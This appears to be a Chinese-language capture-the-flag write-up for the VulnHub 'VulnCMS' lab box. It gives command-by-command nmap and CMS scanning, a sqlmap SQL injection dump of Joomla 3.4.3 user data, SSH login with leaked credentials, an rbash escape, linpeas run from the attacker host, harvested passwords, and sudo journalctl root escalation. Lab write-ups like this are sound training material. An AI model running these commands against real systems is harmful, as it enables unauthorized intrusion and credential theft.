靶机描述:This box is all about CMS as its name suggests. You need to enumerate the box, find the CMS, and exploit in order to gain access to other and finally get the user and root flag. Hint: Proceed in the given order 顾名思义,这个盒子是关于CMS的。您需要枚举该框架,找到CMS,并利用它来获得访问权限,并最终获得用户和根flag。提示:按照给定的顺序进行靶机下载地址:https://download.vulnhub.com/vulncms/VulnCMS.ova
0x00环境搭建:
本靶机使用Vmware Workstation搭建,与kali攻击机共处同一网段,IP自动获取,目前未知。
0x01信息收集
首先需要获取靶机的真实IP地址,这里使用kali的arpscan工具进行扫描,当然使用nmap也可以进行主机发现。
arp-scan -l
nmap 192.168.63.0/24
可以确定,靶机的IP为192.168.63.147,开放了22、80、5000、8081、9001端口,提供了SSH及WEB服务等。接下来进行更详细的扫描。
nmap -sS -p- -T4 -A 192.168.63.147
22端口提供了SSH服务,80端口为普通的博客页面,5000端口为WordPress,8081端口为Joomla,9001端口为Drupal。尝试访问web页面。同时还可以看到8081的drupal CMS是有网址的,fsociety.web,将其加入到自己的hosts文件中。
扫描目录未发现有价值漏洞,本靶机标题即为VulnCMS,那么突破点必定在这些CMS上。使用wpscan扫描该靶机的WordPress CMS获取其版本号。
wpscan --url http://192.168.63.147:5000 --enumerate vt,vp,tt,u
虽然没有获取到其他有利用价值的信息,但是获取到版本号为WordPress 5.7.2。接下来对8081的Joomla进行扫描,这里使用joomscan工具。
joomscan -u http://192.168.63.147:8081
扫描到许多目录和可能存在的CVE漏洞,版本号为以及后台地址/administrator/
这里先不进行漏洞利用,继续把剩下的9001Drupal扫描完,这里使用droopescan工具。
droopescan scan drupal -u http://192.168.63.147:9001 -t 32
只扫描到了一个drupal的版本号信息,但是可以通过searchsploit来查找对应版本的漏洞信息。所以现在收集到的版本分别为:
URL | CMS | 版本 |
---|---|---|
192.168.63.147:5000 | Wordpress | 5.7.2 |
192.168.63.147:8081 | Joomla | 3.4.3 |
192.168.63.147:9001 | Drupal | 7.54 |
0x02漏洞利用
搜索相关的一番测试之后,最终找到了以下漏洞。WordPress的/wp-login下存在RCE漏洞,虽然可以执行命令,但是尝试了许多反弹payload的方式都不可以反弹shell。
无果只能放弃,转战其他CMS,接下来就是Joomla了,工具扫描的结果显示存在SQL注入,将exp存放到当前文件夹。
其中该网页源码此处即存在SQL注入漏洞的点。
接下来尝试使用SQLmap进行SQL注入。
sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=*" --dbs --batch
爆到了joomla_db库,继续往下查找。
sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=*" -D joomla_db --tables --batch
爆到了67张表,其中值得关注的有一个hs23w_users,继续爆破。
sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=*" -D joomla_db -T hs23w_users --columns --batch
查看数据,这里我截取了可能会有用的几列数据。
sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=*" -D joomla_db -T hs23w_users -C id,name,email,password,username --batch --dump
这里密码字段进行了加密,解密无果,但是在邮箱字段发现了5T3e!M0un7i@N,可能为密码,尝试登录后台发现可以登录,但是会提示Invalid Token。 账户:elliot密码:5T3e!M0un7i@N那么尝试SSH连接。
ssh [email protected]
登录成功,并且在此目录下找到user.txt,9046628504775551,但是为一个普通权限用户,需要进行提权操作。
0x03系统提权
这里我们还是将Linux信息收集脚本通过wget传到靶机上。本地开启web服务。
wget http://192.168.63.146:8000/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh > result.txt
但是这里有个问题,就是elliot用户用的是/bin/rbash,无法直接执行脚本。
所以还需要进行rbash逃逸。这里其实可以直接sh,即可执行命令。参考https://xz.aliyun.com/t/7642
然后执行脚本,成功执行。
发现除root外存在3个普通用户。
wordpress数据库的连接账号密码。
wp_admin/UUs3R_C!B@p@55
Drupal数据库的连接账号密码。
drupal_admin/p@$$_C!rUP@!_cM5
以及配置文件中不知连接何处的密码。
先看一下这几个用户的信息,以便漏掉。
cat result.txt | grep -i elliot
cat result.txt | grep -i ghost
cat result.txt | grep -i tyrell
在其/var/www/html/drupal/misc目录下发现了yigetyrell.pass的文件,发现是其tyrell的连接密码。
tyrell/mR_R0bo7_i5_R3@!_
这里尝试切换到tyrell用户成功。
这里使用另一个脚本linux-exploit-suggester.sh尝试提权,同样的方式上传到靶机上加权执行。检查具有sudo权限的命令,发现有一个/bin/journalctl,尝试利用该命令进行提权。
sudo journalctl
!/bin/sh
成功提权到root权限,同时在/root目录下拿到flag。
0x04靶机总结
-
目录扫描工具:gobuster、dirsearch
-
wordpress 扫描工具:wpscan
-
Joomla!扫描工具:joomscan
-
Drupal 扫描工具:droopescan
-
信息收集脚本:linpeas.sh
-
sudo 提权:journalctl 提权
原文始发于微信公众号(NG安全团队):Vuln_CMS靶机实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论